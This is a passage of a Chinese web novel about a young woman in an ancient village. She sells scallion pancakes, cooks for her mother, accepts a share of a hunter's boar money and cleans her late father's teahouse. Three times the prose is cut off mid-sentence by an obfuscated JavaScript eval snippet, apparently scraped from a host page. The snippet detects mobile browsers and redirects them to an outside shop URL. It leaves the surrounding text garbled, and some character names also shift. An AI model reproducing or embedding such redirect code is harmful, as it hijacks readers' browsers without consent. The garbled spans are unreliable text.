家里猪油所剩无几,于是又在李秀敏的带领下,她来到了镇上集蔬菜、水产、肉类于一体的大型民市。这里食材种类丰富,一应俱全,一目了然。 不过现在这个时间段,商户们大多都在摊位上打盹,倒是让徐安然耳根清静。 “安然,你想买什么样肉呀?”李秀敏问。 “肥肉。带回家炸猪油。” “是要炸油然后用其做成葱花饼吗?” “嗯。” “那为何不买芝麻油?价格比猪油便宜,而且还是成品,能省下不少时间,也能省些柴火呢。” “是有考虑过,芝麻油做菜可以,但它油脂少,做出来的饼不够酥脆,口感差了一大截,所以麻烦点儿就麻烦点儿吧。” 李秀莲似懂非懂,但并不影响她觉得徐安然厉害,她夸道:“你真厉害,我今日才知道这两种油的区别。” “以后可以常来我家玩,我有时间都说与你们听。” “好呀!”李秀莲一口答应,“这还是你第一次邀请我们去你家呢,以前我们跟你搭话,你都有些爱答不理的……” “秀莲!”李秀敏连忙阻止妹妹继续说下去。 徐安然低头一笑:“没关系,我以前的性格确实有些闷,这次摔了腿儿,发了个烧,郎中一治,顺带把我这沉闷的病治给好了,哈哈。” “我喜欢这样的你!多笑笑,你笑起来好看。像小兔子。” “我也是。”李秀敏紧接着妹妹的话说。 徐安然蛮感动的,这一趟出来,除了生意不错,还交到了两位朋友。 她家位置偏远,平日里除了小柔,也没什么人到家中玩。以前的她整日抄书,苏清则在自己屋里绣帕,等她的书抄好了,将帕子一并交给她到镇上卖,日复一日。家里没个爱说话的人,时间长了,都显得死气沉沉的,连带着家里的植物和母鸡。 所以她想多交些朋友,家里热热闹闹的,对一个常年在家工作和养病的苏清来说也是一种治疗。 在菜市中买了肥肉,一两六文钱,徐安然干脆买了一斤,这一下直接将所赚的二分之一花出去了。虽然肉疼,但这是必须花的。 在离开之前,徐安然是试探地问五花肉的价钱。 得知一两要二十文,她直接走人。现在她还不配吃这么贵的肉。 最后一样要买的,就是面粉和做菜需要用到的各式各样的调料,永和镇能买到的调料,她都买了。 这里头白面最贵,二十文钱一斤,这还是小镇的价格,估计到了汴京,要翻倍。 这一趟下来,她总算对永和镇的物价了然于心,也终于知道周时借给她的面粉,到底值多少钱…… 内心除了感激,还有感叹。 这大哥真有钱。 - 有钱的大哥此刻正在城门外,望眼欲穿。 虽然知道徐安然不是第一次来镇上,但周时还是不由地有些担忧。 直到看见熟悉的身影出现在视线内……他不自觉嘿笑两声,然后小跑到几人面前,接过她们手里的东西。 “我帮你们拿上车。” “谢谢周大哥。”李秀莲大方地道谢,大家都是一个村的,并不觉得有什么。 这又让徐安然心中好一阵感慨,心想这样有力气、眼里有活儿的人是她店里的伙计的话……一定能包揽掉店里不少力气活。那样可以省下好多请人的费用开支…… 徐安然一直盯着周时的背影看,丝毫没发现其他人投来的异样和不解的目光。 直到李秀莲大声咳了两声,她才回过神来。 她尬笑两声:“不好意思啊,刚刚想到了些开心的事。” 她的语气有些心虚,很怕周时看出来自己贪图他这个人的一把子力气。在现代的时候,常有朋友说她看中意的员工时表情像个奸商,希望周时不要也这么认为。 “没事。”周时看起来比她还害羞,回去的路上,一直不敢看她。 这让徐安然觉得莫名其妙。 于此同时,永和镇西街的书院内,几名学生正聚在一起激烈探讨,这样的场景在平日的书院内并不奇怪,但今天学生们探讨的内容不是之乎者也,而是……到底用什么油和面做的葱花饼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092707|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴掌大的葱花饼,两口就差不多没了,此刻徐安然都快到家了,却还有没吃完的。 “吵吵闹闹成何体统!”在学生的讨论声中,突然出现一道年轻但颇有威严的声音。 学生们回头,门外站着的,是一个身姿挺拔的中年男子。对于学生来说,此人并不陌生。要说葛学义是院外摆摊的商贩们的噩梦,那么他就是这所书院里所有学生们的噩梦。 平日书院快到散学时辰,即使有些吵闹声,他并不会刻意制止,因为学生们的话题都在书本上,但是今日他却听到了什么……葱花饼。这明显是一道食物的名字,虽没不知道是个什么食物,但书院何时这样没规矩过。 于是作为整个学院最严肃的老师,他必须出来停止这样的行为。 李在一言不发扫视着教室内的学生们,不怒自威。突然,他的视线在其中某个学生手中的饼上停留片刻,随后不屑地移过视线,不过是一个模样平平无奇的饼罢了,甚至连肉都看不到,也不知道平日里这群自视清高的学生为什么要讨论这张普通的饼。 这道不屑的眼神被对面的苏彦宇捕捉到,他连忙辩解:“老师,我们没有在闹。我们只是在讨论一道美食。” 自古书院都不缺头铁的学生,更别提这位家里有点小钱的苏彦宇,他一个人包揽了徐安然筐里的十个葱花饼,手上拿着葱花饼的人也是他。 作为一个大方的人,他将买到的十个葱花饼尽数分给了其余没有买到的学生,半个半个分。也正是因为这样,除了他之外,还有几位学生主动站出来为葱花饼正名。 平日里大家对他毕恭毕敬,都不然忤逆他,但是今天却为了这葱花饼而辩解,倒是让李在十分好奇。 “你过来。”他伸手,指着最先说话的苏彦宇。 苏彦宇连忙将自己最后一个葱花饼收起来,然后慢吞吞地走到苏在身边,心里还是有些杵的。 “快点儿,磨磨唧唧的。”苏在实在没什么耐心,说完后,抬脚快步走到苏彦宇身边,一把夺过他怀中的葱花饼,并问,“这个多少钱?” 李彦宇心疼手上的葱花饼飞了,欲哭无泪,又不敢抢回来。 “多大点儿事啊给你委屈成这样,不就一个饼吗?”说完,直接丢给李彦宇一个钱袋子,“多少钱,自己掏……但别多拿了。” 平日里的苏在是个极好的老师,有学习上的疑惑问他准能给出解答。虽然性格急躁了些,教课时容易暴走,偶尔体罚学生,但也只是打几次手心就完了,没哪次是动真格的。他还是永和镇最年轻的进士,还有一片孝心,要不是家里母亲生病需要照顾,他不会放弃学业回到这小镇教书。可以说是真的凭实力得到大家的尊重。 但今天他却做了件不符合他人设的事情,就是抢学生大饼。 说抢,其实不然,他还给了钱,最多算强买强卖,这要是告去官府,也只是让双方私下解决。 今天书院里的学生和夫子都挺反常的,都因为两样新鲜的食物。 李彦宇知道葱花饼是守护不住了,心中庆幸还好将酸笋藏了起来,没被苏在发现。 说到酸笋,就不得不提到书院的另一位夫子。平日里最有时间秩序,必须要看着最后一个学生离开才离开的葛学义,今天甚至没到书院散学时间就已经不见了人影。 11. 第 11 章 已经到家的徐安然不知道自己仅仅摆摊了一个时辰,就能让书院如此热火朝天。 她此时正在跟苏清生动描绘今天摆摊所发生的事情。 她手舞足蹈地,“娘,你是没见到今天那个场面,热闹的咧,我要走了都还有学生追出来问我什么时候再去摆摊,哈哈哈。” 这么多天来,这是徐安然第一次发自内心地笑,苏清被她的快乐传染,也露出了这几天来最灿烂的笑容。她坐在柿子树下,手上是绣了一半的帕子,傍晚金色的光打在她身上,人暖洋洋的,心也是。 “好了,你快坐下歇一歇,瞧晒得满脸汗珠。腿上的伤口没裂开吧?”她起身,将好的椅子让给徐安然。 “没事儿,娘给我找了最好的大夫,而且您每天都帮我换药,伤口早就结痂了。所以娘,我蹲着就行。”她立即蹲在苏清身边,撑着脸看着已经绣了一半的帕子。 苏清的绣工也不错。绣的样式比李秀敏两姐妹的更复杂些。就是年纪摆在这,绣得比较慢。 她握住苏清的手,热乎乎的,很温暖,“娘,这绣帕您就慢慢绣,我过几日才再次去镇上摆摊,不用着急。别再累坏了身子,抓药的钱可比绣帕赚的钱更高哦。” 从小在孤儿院见惯了生死,很多被家长遗弃的孩子大多身上都或多或少带有遗传性疾病,所以她始终认为,健康才是唯一的财富,赚再多的钱都不如一个健康的身体来得重要。 “好。”苏清回握住徐安然,“你就是家里的主心骨,一切都听我们家安然的。” “这就对啦!您继续在院里晒太阳,我去做饭,今晚会有超级好吃的肉哦!” 她从结束摆摊时,就一直在想晚饭做什么。 这次虽然没在镇上买到什么蔬菜和肉,但是她有面粉,还有前两天周时送来的猪肉,配料齐全的情况下,一道老少皆宜的美味菜肴在脑海中缓慢出现…… 说做就做,她右手拿着刀,抬起来将门口的猪肉割下一半。古代没有存储食物的东西,为了让肉能存放得长一些,徐安然只好挂在通风的地方,初春蚊虫还不算多,暂时还不需要保护起来。 院子里的兔子一直叫,为此,她只能暂时放下手中的肉,洗了把手,从坛子里取了点绿色菜叶。 菜叶就没有猪肉那么好命了,放两天基本上都蔫儿得差不多了。 每天在山间吃新鲜野菜的兔子哪里能接受蔫儿吧唧的菜叶子,一个两个三个都在闹绝食。只喝水,喝完之后三只挤在一起,眼珠子跟着徐安然的动作而转动。 徐安然一手叉腰,一手扶着额头,“真令人头疼,你们要是不吃,我现在就把你们宰了做红烧兔头信不信?”她眼睛瞪得圆溜溜,对着三只兔子恶狠狠地威胁。 但以她这副人畜无害的长相,说这些威胁的话显然不能令三只兔子感到害怕。 这几天徐安然好吃好喝地供着它们,倒是让它们恃宠而骄起来了。 这好歹是周时给一番心意,如何都不能养死了。更不能养病了,否则都吃不成。 于是她叹了口气,抬脚来到还在绣帕的苏清面前:“娘,我去一趟周大哥家,借点蔬菜给三只小兔,您在家等我啊。” 苏清闻言点了点头,她对徐安然跟周时走得近这件事并不反感,如果女儿想嫁人,她也希望那个人是周时。 两家隔得不算太远,在苏清胡思乱想之际,徐安然已经慢慢来到了周时家。 一路上,经过许多人家。山亭村的村民家家都有个小院,徐安然只能大致瞧见她们家中都已经点上了光,暖黄色的。烟囱中音乐中有白烟出现,有些人家屋内甚至传出了浓郁的肉香…… 徐安然今天心情好得不行,见到村里的老人坐在外头,都挨个打了声招呼。 彼时周时正在吃饭,虽说有菜有肉,但是却有些难以下咽。他不由得想起徐安然,想起她递给自己的葱花饼,想起她做的酸笋,以及……她。 思念无声,但是徐安然走路有声音。听见门口传来动静,他警觉起身,推开门后见到来人是徐安然,嘴角不露痕迹地上扬。 他不知徐安然在傍晚时分来找他所谓何事,他只知道此刻站在面前的人是他刚刚心中所想之人,这就已经足够令他开心了。 所以接下来徐安然不管说什么,他只一个劲儿地点头,并表示,“你需要什么,直接进屋拿便是。” 徐安然受宠若惊,但直接进屋不太好,她站在院子内,“随便给我拿点新鲜的菜叶子就好。” “行。” 周时此刻也意识到让未婚女子进未婚男人的屋有些不妥,于是让徐安然在院子内等待,他到屋内拿。 可是周时却没去厨房,而是回了屋子,过一会儿才出来往右侧的厨房走去。 徐安然借此机会,顺势参观起周时的家。 一切被打理得井井有条,院子左侧有个棚子,棚子底下摆满了打猎的工具,是个猎户标配。院子内也有一块不大不小的土地,但仅仅锄了地,并没有种植,有些可惜。 虽然家比较大,但有些空。还是她的小家比较温馨,徐安然想。 没让她等久,周时便拿着一筐新鲜的蔬菜出现了,都是早晨从山上摘回来的新鲜的绿叶子,除此之外,还有一斤猪肉。 在菜市知道猪肉的价格后,徐安然可不能随便拿了,拿得多了不好还。 “我只是来借些菜叶子的,猪肉你拿回去吧,上次你给的那块好肉我还没来得及吃呢。” 周时挠了挠头,不知怎么说,只一味重复:“我吃不完,放着也是浪费。” “哪里会浪费,带去镇子上卖能得不少钱呢,你也不能打一辈子猎呀,总会有猎不动的那天,还是要多攒点钱给自己。还有以后你的家人。”她也不知道自己为什么会给跟周时说这些。回过神来的时候,才发觉自己管得太多了。 “我就是随口一说,你别在意哈。”她又补充道。 “我攒了。” “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092708|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?你不用跟我说的。这肉你快拿回去吧,我先走了,我娘还在家等我呢。”说完她就要转身离开。 “你拿着。”周时将肉直接装进她背着的竹筐里,紧接着又从怀里掏出一个钱袋子。 秉持着对钱的敏感,她还是看了一眼,目测大约有三百文。 一下秒,钱袋子就落到她的手上了。 如果说,肉她能拒绝,但钱,她真的不忍心拒绝。 她别过脸将钱袋子递回:“周大哥,你这是做什么,快拿回去。”怎么能拿这东西考验干部。 见徐安然这别扭的小表情,他的嘴角再次上扬,这次很明显了。 “这是卖野猪的钱,它是你先发现的,你理应拿一部分。今日卖了一贯钱,所以这三百文并不算多,肉不好保存,才等换成银子后再分给你,另外,上次拿给你的白面也已经从中抵消了,你并不欠我任何。” 见徐安然依旧不为所动,他继续道:“如果你不收下,以后就不带你上山了。” “那不行的!”徐安然连忙收下钱袋子,“我收,我收就是了嘛,哈哈。” 徐安然看着一袋子钱,露出痴笑。足足三百文啊,可以买上几十斤白米了,是一户普通人家三月的开销啊。不过转念一想,猪虽说是她先发现的,但出力的人是周时啊,将猪肉抗下山、处理、卖掉的人也是周时,按理来说她拿几斤肉就已经很占便宜了。 她真是被银子迷了心智。 而这会儿已经将银子收入囊中,这会儿要还给他,心里总归会有不舍。 “周大哥,你对我是不是太好了点?你老实跟我讲,是不是有所图?”徐安然表情突然变得严肃,她是个生意人,不会有人无缘无故地对你好,除非你对他有价值。 周时一时语塞,心里的想法不敢说出来,怕把人吓跑。 突然,他的余光看到了桌上的饭菜,木脑袋灵机一动。 “你也看出来了,我向来一个人生活,平日里的吃食对付几口就算了,直到你递给我拿张葱花饼,我才发觉世上竟有这等美味的食物。我认为你的厨艺一定在我之上,所以就想着,以后你再做些什么新鲜的美食,能不能……能不能……”周时实在不好意思再说下去了。 虽然葱花饼的好吃是真的,但是他的心思却不只在食物上。 徐安然挑了挑眉,自认了然于胸,于是十分豪爽地说:“果然!我就知道你盯上我的厨艺了。你就放心吧,自从你上次在山上把我救下,又同意带我上山,再到我们合力一起击败野猪这桩桩件件,已经足够称为朋友了。以后我再做好吃的,给你送来,反正我们两家住的也近。” 周时没想到,徐安然比他还木头。 不知是该哭还是该笑,应该是该笑的,至少没将她吓跑。 “哎,好!”周时同样豪爽地回。 双方都很开心,徐安然自己招周时去店里帮忙这件事稳了,周时觉得自己以后可以常有机会名正言顺地见到徐安然了。 12. 第 12 章 这次来周时家本来只想拿点新鲜的菜叶子,结果不仅多拿了一斤肉,还有一袋沉甸甸的铜钱。 刚回到家附近,便见到苏清在门口她离开的方向张望,在见到她后,连忙迎了上去。 “怎的去这么长时间?是不是遇见什么麻烦事了?” “没有,我和周大哥第一次上山的时候遇见了一头野猪,他今日拿去镇上卖,跟我分了些钱,所以耽搁了些时间。”徐安然如实说道。 “你是说周时那孩子给你钱?”苏清隐约觉得有些不对劲儿,周时人虽然好,但平日里独来独往的,不常和村里人来往,之前可没见他对谁这么热情。 “对呀。”徐安然摸了摸腰间的钱袋子,“放心吧娘,我心中有数,周大哥人不错,我还想着等我的店开起来了,招他来店里做工呢。” 徐安然一边说,一边走到早已饿晕的三只小兔子面前,她将菜叶放进笼子里,它们的鼻子动了动,紧接着跳上前,挑了片菜叶子就开始咀嚼,兔子肉好吃,长相也十分可爱,徐安然被它们这样子吃东西的方式逗笑了。 她有点庆幸没有当场宰了这三只,每天在山里吸收体月精华,聪明得都快成精了。 看兔子吃,她肚子也饿了,于是回到厨房继续准备烧菜。 周时又给了些肉,她决定都做了,这样还可以留出一部分给他。 将扁担肉上的筋去掉,切成方正的小块,再顺着猪肉的纹理切成薄片儿,大概两个手指的宽度,每片下一块肉,徐安然都会顺手用刀背在肉上拍上两下,然后再啪地砸在砧板上,这一步叫松弛,能让肉的口感更嫩。 徐安然的刀工算不上特别好,但也能到开店的水平,她自信的点儿在于创新。脑子里几百个菜谱,足够她发挥。 将切好的肉放在一个碗里,加盐加花椒。能加胡椒最好,但胡椒在这个朝代堪比奢侈品,属于进口货,价格极高。花椒便宜许多,老百姓们也吃得起。 这个朝代没有纯淀粉类原料,她只能用面粉代替面糊,再将面糊均匀地挂在每一片肉上。在此之前用热锅将面粉炒热,炒后的面粉再制作面糊,会比没炒过直接做成面糊的面粉更酥脆…… 苏清在料理院子左边的农田,家里唯一一只鸡在鸡棚里缓慢地走,偶尔鸣两声,啄一啄地下的土。厨房里的徐安然空闲时,看到的就是这样的景象,很充实,很安适。 笑容一直挂在脸上,她转过身,拿出一个干净的碗,加白糖、醋、生抽、炒过的面粉以及清水,她没有严格按照比例来调配,因为不记得了,全凭的手感。 一切准备就绪,就到了徐安然每日做饭最紧张的时刻,烧火。 烧火没个一年半载的经验真的捉摸不透,每一块柴火烧的时间并不一样,要减少火候,只能挑走柴火,她不能把握得准确。好在苏清可以帮忙。 看着徐安然在锅里倒了一半的芝麻油,苏清惊讶地张大嘴。 她问:“这道菜,需要用这么多油吗?” “放心吧,炸完之后的油还可以再装回油罐子里,油只是这道菜的辅助,并不是我们吃。”徐安然笑着解释。 “娘明白了,就像炸饼那样?” “对~” 谈笑间,徐安然将肉一片片挂着面糊的肉下入油锅,期间需要小火便提醒一声,母女俩合作得天衣无缝。 油锅冒起密密麻麻的泡泡,每下入一片肉之前,徐安然都会再次调整肉表面的面糊,尽量让每一片肉挂的面糊都差不多,将所有的肉片都下入锅中,炸一会儿,等到肉全部成型之后捞出,去些柴火让油温变低。 徐安然伸手在油锅上探了探,觉着差不多了,让苏清加柴火,再次倒入肉片,二次复炸过后,口感相对更酥脆,不软趴。 原本平静的油锅迅速冒起白色的泡花,直至肉被炸至枣红色,她这才将肉捞起来。 现在看起来已经十分有食欲了,但还没完,她将锅里的油倒回罐子里,锅中只留下一点儿,重新放回灶台上后再倒入炸好的肉片,左手顺手拿起一旁等待许久的糖醋汁往锅里一撒。肉色泽亮了,在翻炒过程中,锅里冒着白烟,随之而来的是糖醋汁的甜香,裹挟着肉香,直直钻进厨房内二人的鼻尖。 “好香。”苏清不由得说。 “吃着更香呢。” 趁着柴火还没烧完,徐安然又炒了道清菜。倒也没多麻烦,先清水烫熟,碗里倒点酱油,加些盐和一点芝麻油,最后均匀地淋在菜上,水煮菜便完成了。她喜欢这么么吃青菜,保留食材的鲜和青菜原本的甜,非常好吃而且解腻,和锅包肉是最佳拍档。 “吃饭啦吃饭啦。” 新的菜系,新的碟子,新的碗筷,一切都在朝着新的方向发展。 饭桌上,徐安然提出明天想去父亲的老茶馆看看,苏清同意了,说明天跟她一起过去。 接下来的时间,苏清整个人都沉浸在锅包肉的世界中了。 口感外焦脆里酥嫩,味道甜大于酸,脆度也是她能接受的,一块接着一块,根本停不下来。 苏清吃得多,她看着也开心。 虽然开心,但也没忘了周时,毕竟今天这肉也有他的一份,在厨房放着呢。 吃好后,趁着苏清收拾厨房的间隙,她再次来到周时家中,这次没有进院,而是在门口等待,毕竟天色渐暗,她一个女子只身来到一个单身男人家里,被人看到了难免会传出什么闲话。 彼时周时刚洗完澡,听到门外的敲门声,还以为是李四,上衣都没穿就打开了门。 于是徐安然就看到了十分香艳的一幕。 什么双开门、健身教练在周时面前都不够看的。 她虽吃惊地捂着嘴,眼睛却一点儿也没少看。腰真细啊……还挺白。 她大大方方的,倒是周时有些害羞了,连忙转过身,语气很不自然。 “徐姑娘……你有事吗?” “哦。你不是说让我做好吃的,给你也留一份吗,眼下时间还早,所以我带新做的锅包肉来给你尝尝。” “放地上就好。” 徐安然低头看着地面,皱着眉,“太脏了吧,要不你回去拿个碗,我倒给你。” “好。”应完,周时走了。 全程对话周时都是背对着她说的。 徐安然很不理解,一个大男人,露个膀子有那么害羞吗。听娘说周时已经二十五了,这个年纪的古代人,还这么纯情?她咋这么不信呢。 晚上的风挺大的,周时该是穿衣服去了,她等了蛮久,风吹在身上挺冷的。 刚出屋的周时见到将手放在脸上取暖的徐安然,心中内疚。 “抱歉。”他说。 “没事,这肉趁热吃最好,如果你现在还能吃得下的话。明日我要去我爹的茶馆看看,收拾收拾,所以早晨我就不跟你上山啦。”她这次来,也是为了顺带说这件事,因为他们白天越好明天上山,但晚上她临时改了主意,为了不让周时等,于是才带着锅包肉来告知。 “好。”周时拿着锅包肉,扭捏了会儿,还是问道,“你父亲的茶馆很久没打理了吧?” “你知道?” “去镇上的路只有一家无人打理的小店,就是你父亲的茶馆,你竟不知?” “额……”徐安然终于想起来了,那虽然是家店铺的样子,但已经看不出一点儿茶馆的痕迹了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092709|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她尴尬地笑:“我知道。我知道的。” “茶馆另一条分叉路的尽头是间祠庙,虽然现在香火不旺,但偶有百姓前去上香,生意应该不会特别差。倒是可以收拾收拾,这样也省得你每日辛苦去镇上摆摊。” 从她说要去茶馆看时,周时便猜到了徐安然的想法,以她的能力,开店不是问题。 “需不需要我帮忙?”周时又问。 徐安然眼睛瞬间亮了:“可以吗?” “嗯,可以,我除了早晨要上山打猎,其余没什么事情做。”周时回得很认真。 “这样会不会太麻烦你了呀?”徐安然话里带着笑问。 没想到这次来还能有其他收获。 “不会,你先过去,我明日下山之后,再去茶馆找你。算是,你今日亲自送食物来的答谢。” “好!谢谢你啊周大哥,你人真好,以后我做的美食都有你一份!” 周时低头一笑,老实巴交道:“不必这样客气。” 徐安然开心地哼着歌回家,殊不知,小柔站在不远处,将他们的对话都听了去。 豆大的泪一滴滴落在地上,我见犹怜。 但是她没有去找徐安然的麻烦,反而是叩响了周时的门。 周时以为是徐安然折返回来了,带着笑开门,在见到人是小柔,立刻恢复了以往的不苟言笑。 “何事?”他冷冰冰问。 如此区别对待,小柔哪里还不明白? 她只是不懂,自己输在哪里。明明她也不差,长相不差,性格也好,从小到大没做过什么坏事,为何周时就看不上他。 小柔想不明白,她回了句“没事”,便离开了。 周时茫然地看着小柔的背影,不解,但还是关心道:“风大,早点回家,别着凉了。” “哦。”小柔淡淡地回。 很奇怪,这样一段关心的话,以前周时说的时候,她会开心很长时间,但现在却毫无感觉。 她麻木地回到家,看着各自忙碌的父母。 委屈感不由自主地涌了上来。 “哎呦,我们小柔这么眼睛红红的?这是哭了?” 张桂梅心知肚明,小柔这是又去找周时了。 “娘,我是不是没有安然优秀?她生得好看,而且还会写字,我虽然也长得不差,但我不会写字,是不是因为我不会写字,所以周大哥不理我?” “傻孩子。”张桂梅温柔地擦掉小柔脸上的泪珠,温柔地说,“每个人都有自己的优点和缺点,安然很优秀这点娘很同意,今日她一个人去镇上摆摊将所有东西都卖完了哦,娘就在一旁看着,心里羡慕得很。但是,你也不差,你会刺绣,会做衣服,你的衣服都是你自己做的,每天把自己打扮得美美的,这就是你的优点呀。” “真的吗,这么说的话,好像确实很厉害?” “总之,在爹娘的心中,你非常厉害,娘何尝不知你对周时……但是他的心不在你这。爹娘还养得起你,你何苦这么着急把自己嫁出去,不想跟爹娘一起生活了?” 小柔被说得羞红了脸,窝在张桂梅的怀里,“才不是。小柔要一辈子都在爹娘的身边尽孝。” “行了行了,女儿,快来鸡棚将蛋都掏了。”母女俩难得的温馨时刻被周爱年打断。 小柔擦了擦眼泪,无奈地看了眼连鸡蛋都不敢掏的爹,回道:“来了” 她将此事抛之脑后,认真地掏起鸡蛋来。 夫妇俩站在一起看着这一幕。 周爱年更是直言:“咱女儿还有个优点,就是掏蛋的时候十分认真。” 张桂梅也笑了,点头给予肯定,“确实。” 13. 第 13 章 次日,徐安然早早起来,知道了茶馆的位置,便没有让苏清陪同,她本就肺痨在身,更不能在灰尘大的环境中待着。将早餐做好之后,徐安然在苏清的视线中离开了家。 她腿上的伤口恢复得不错,扭伤的部位也不疼了,拿着拐杖慢慢走不是问题。 早晨的空气十分清新,一路走走停停,这让她不觉得有多累,或许是天刚亮,一路上也没遇到什么人。 本以为会这样安静走到茶馆,却没想到半路遇见了小柔。 说起来,自从上次在山下一别,她就没在村里见过小柔了,她也不曾来家里玩过。 “安然。”小柔主动跟她打招呼,“这么早你去哪儿呀?” “去我爹的茶馆看看。”没什么好隐瞒的。 “你的腿好些了吗?” “嗯,好得差不多啦。”说完,将手上的葱花饼递给小柔,“你吃吗?我自己做的。” 小柔认出来了,这是昨日她娘带回来的葱花饼,没想到还真是徐安然做的,她一开始并不相信。 虽然很不想承认,但她做的葱花饼确实很好吃。 昨日吃过之后,便一直念念不忘,纵使她不是吃货,拒绝的话也说不出口。 “谢谢你。”她双手接过时,喉咙动了动,“好香啊。” “葱花饼味道就是香味大过饼的口味,毕竟只有猪油、面粉和葱花这三样原食材。” “就这三样食材就能做得这么好吃?” 小柔跟徐安然一起并排走,有一句没一句地聊着。 “有句话叫做最美味的食物往往只需要最简单的食材做成。” “有这句话吗?不过我从未听说过你会下厨,我以为你只会抄书呢,真厉害。” “灵机一动罢了。我娘年纪越来越大,我要养家,总不能靠抄书过一辈子吧。” “你不考虑嫁人吗?” 徐安然并不反感小柔,所以对于她的问题,能回答的都回答了。 “目前没有这个想法,我眼下要做的事就是赚钱,将我娘的肺痨治好,然后重新经营我爹的茶馆,嫁人是以后的事情,我目前没心思谈以后。” 徐安然觉得,不论男女,都得有一番事业,不能稀里糊涂就将一辈子困在婚姻里。既给不了自己幸福,也给不了子女幸福。 “哦,那周大哥岂不是要等好久了。”一阵风吹过,将小柔的话盖了大半,她没听清。 “嗯?”徐安然疑惑地看着小柔,“你刚刚说什么?” “没什么,安然,我跟你一起去茶馆打扫吧,就当作今日你请我吃葱花饼的答谢。” 徐安然当然很乐意多一个帮忙的人,但是小柔的身板看起来没比她强壮多少。 “实不相瞒,我爹留下来的茶馆,起码得有七八年没有认真打扫过了。我怕你受不了那个灰尘。” 小柔听闻,脸色一变……但话都说出去了,这时候收回来又不太好。 “没关系,我不怕。我们家的鸡棚很多时候都是我打扫的呢,我并不怕脏。” “行,那就一起过去吧。”徐安然只当小柔是去玩儿的,没真的想让她帮自己打扫。 抵达老茶馆,倒塌的院门将进门的路堵住了,徐安然只能一瘸一拐地在小柔的搀扶下跨进去。 院内门前,掉下来的牌匾尽数被杂草和尘土覆盖,走在院内道路上,衣裙瞬间脏了。再看店里的其他物件,各个散落在地,陶罐碎得到处都是。 “这简直……摧枯拉朽啊。”徐安然忍不住吐槽。 “咳咳咳。”小柔被灰尘呛得直咳嗽。 她没想到这家小时候曾经来过的茶馆,现在破成这样,经过的每一步都能扬起一丈灰尘。 “如果受不了的话就现在院外等我吧,等我把这边收拾出来之后你再进来。” 相较于感叹这里的破败,她更多的是惋惜,当初父亲开这间茶馆,一定耗费了很多心血,站在院子内,仿佛还能见到曾经茶馆蒸蒸日上的景象。 她父亲是在她八岁时去世的,仔细回想,脑海中似乎还回闪着曾经在这里跑步玩耍的画面,父亲的面容若隐若现,为她做玩具时的模样,教她读书的模样,为她做点心的模样…… “你怎么了?” 小柔的声音将她的思绪打断,徐安然这才发现她的脸颊上还挂着泪珠。 她吸了吸鼻子,笑道:“没事,我先随便整理整理。”说完,拄着拐杖,艰难地往前走去。 小柔皱着眉心,实在不忍心看徐安然一个伤者在里头忙碌。 “我跟你一起。” “行,如果累的话,就坐下休息,这么大的茶馆,凭我们俩人,今天收拾不完。所以不用强求。” “我知道的。” 之后的一个时辰,小柔让徐安然刮目相看。 就如她说,家里鸡棚都是她打扫的,她确实不怕脏,干起活儿来也十分利索。 将最后一块木板搬到院外,只见小柔将袖子挽起,抬手用擦了擦额间的汗,邀功似地看向徐安然:“怎么样,我是不是很厉害?” “确实很厉害,令我刮目相看。” 经过两人大致清理,将杂草踩倒,轻杂物搬到外头,总算是大致恢复了茶馆大致的模样。她腿脚不便,所以杂物用绳子一起绑上,然后拖到外边。 直到现在,徐安然才发现在屋子左边居然有个小池塘,只不过已经干涸了,估计是底下出水源被堵住了。这个得以后请专业的人来维修,她不会。 忙里了一上午,她们总算整理出了一处可以休息的干净地方。 这次来茶馆,她就是奔着干到傍晚才离开的目标来的。 趁着不摆摊的这两天,将茶馆大致整理好。再将该修缮的地方修缮好。摆摊这件事同时进行,这样等她攒够钱,茶馆也能开始营业了。 她们坐在石凳上,任由太阳烤着肌肤,任由汗珠顺着脸颊滑入脖颈。 中午吃的是葱花猪肉烧饼,她带了两人份,本来想要给周时,但小柔帮了她一上午,所以将周时的那份给了小柔。 小柔刚想说要回家吃午饭,结果下一秒徐安然就从布袋里掏出两个卖相不错的烧饼,虽然已经有些凉了,但香味还在。 看着手上的两个烧饼,小柔有些呆滞。 “你帮了我这么长时间,接下来的时间就不麻烦你了。”徐安然一边细嚼慢咽,一边说。 “你把我当什么人了?” “嗯?” 小柔语气十分不满,但徐安然不知道她为什么不满。 “我来帮你是因为我把你看作好友,不是为了你几个饼,再说了,我们家又不是吃不起肉饼。”最多就是做得没那么好吃罢了。 徐安然被她这幅模样逗得哭笑不得,她点了点头,“嗯,这我知道。要不你先吃吃看再说呢?” 她的厨艺不说多么神,但是拿捏山亭村的人,还是绰绰有余的。这点自信她有。 